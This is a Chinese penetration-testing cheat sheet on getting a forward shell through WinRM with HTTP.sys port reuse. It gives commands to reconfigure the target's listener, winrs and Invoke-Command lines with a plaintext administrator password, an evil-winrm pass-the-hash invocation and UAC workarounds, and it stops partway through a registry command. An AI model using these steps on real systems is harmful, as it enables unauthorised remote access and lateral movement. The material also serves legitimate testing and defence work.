正向shell总结
一.winrm,http.sys(端口复用)
介绍
winrm
WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。
HTTP.sys
HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可。
winrm默认监听端口:
5985 http
5986 https
利用场景及其限制
- 目标机器开启winrm服务
- 目标机器是win server,windows主机不行
- 目标机器winrm没有白名单(一旦白名单ip是无法登录的)
- 组合HTTP.sys驱动自带的端口复用功能
- 必须要知道明文密码(也可以使用hash传递)
靶机配置
开启winrm服务,并且监听80端口
winrm quickconfig -q
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
本地配置
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
执行命令
winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd whoami
执行命令是cmd即可进行shell
winrm invoke create wmicimv2/win32_process -SkipCAcheck-skipCNcheck @{commandline="calc.exe"} -r:DC.whoamianony.org
可以在远程主机启动计算器
Invoke-Command-ComputerName 192.168.198.129 -Credential root -Command {ipconfig}
# Invoke-Command -ComputerName [host] -Credential [user] -Command {[command]}
# Invoke-Command -ComputerName [host] -Credential [user] -ScriptBlock {[command]}
HASH登录
项目地址:
https://github.com/Hackplayers/evil-winrm
使用方法:
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
错误以及其他问题解决
原因:仅仅支持server,不支持windows
-
UAC问题
WinRM服务也是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。 reg add HKLM\SOFTWARE\Microsoft\Windows\